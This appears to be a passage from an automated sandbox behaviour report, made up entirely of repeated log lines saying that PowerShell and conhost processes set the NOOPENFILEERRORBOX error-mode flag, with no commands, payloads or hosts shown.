Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
